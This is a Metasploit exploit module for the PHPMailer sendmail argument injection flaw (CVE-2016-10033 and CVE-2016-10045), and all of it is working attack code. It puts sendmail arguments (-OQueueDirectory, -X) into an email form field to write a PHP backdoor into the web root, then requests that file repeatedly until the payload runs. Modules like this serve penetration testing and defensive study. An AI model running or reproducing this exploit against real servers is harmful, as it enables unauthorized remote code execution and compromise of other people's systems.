## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'PHPMailer Sendmail Argument Injection', 'Description' => %q{ PHPMailer versions up to and including 5.2.19 are affected by a vulnerability which can be leveraged by an attacker to write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed to the sendmail binary. This module writes a payload to the web root of the webserver before then executing it with an HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful exploitation can take a few minutes. }, 'Author' => [ 'Dawid Golunski', # vulnerability discovery and original PoC 'Spencer McIntyre' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-10033'], ['CVE', '2016-10045'], ['EDB', '40968'], ['EDB', '40969'], ['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'], ['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html'] ], 'DisclosureDate' => '2016-12-26', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Payload' => {'DisableNops' => true}, 'Targets' => [ ['PHPMailer <5.2.18', {}], ['PHPMailer 5.2.18 - 5.2.19', {}] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ], }, )) register_options( [ OptString.new('TARGETURI', [true, 'Path to the application root', '/']), OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']), OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www']) ]) register_advanced_options( [ OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300]), OptString.new('NameField', [true, 'Name of the element for the Name field', 'name'], regex: /^([^\t\n\f \/>"'=]+)$/), OptString.new('EmailField', [true, 'Name of the element for the Email field', 'email'], regex: /^([^\t\n\f \/>"'=]+)$/), OptString.new('MessageField', [true, 'Name of the element for the Message field', 'message'], regex: /^([^\t\n\f \/>"'=]+)$/) ]) end def trigger(trigger_uri) print_status("Sleeping before requesting the payload from: #{trigger_uri}") page_found = false sleep_time = 10 wait_time = datastore['WAIT_TIMEOUT'] print_status("Waiting for up to #{wait_time} seconds to trigger the payload") while wait_time > 0 sleep(sleep_time) wait_time -= sleep_time res = send_request_cgi!( 'method' => 'GET', 'uri' => trigger_uri ) if res.nil? if page_found or session_created? print_good('Successfully triggered the payload') break end next end next unless res.code == 200 if res.body.length == 0 and not page_found print_good('Successfully found the payload') page_found = true end end end def exploit name_field = datastore['NameField'] email_field = datastore['EmailField'] message_field = datastore['MessageField'] payload_file_name = "#{rand_text_alphanumeric(8)}.php" payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}" if target.name == 'PHPMailer <5.2.18' email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com" elsif target.name == 'PHPMailer 5.2.18 - 5.2.19' email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com" else fail_with(Failure::NoTarget, 'The specified version is not supported') end data = Rex::MIME::Message.new data.add_part('submit', nil, nil, 'form-data; name="action"') data.add_part("", nil, nil, "form-data; name='#{name_field}'") data.add_part(email, nil, nil, "form-data; name='#{email_field}'") data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, "form-data; name='#{message_field}'") print_status("Writing the backdoor to #{payload_file_path}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) register_files_for_cleanup(payload_file_path) trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name)) end end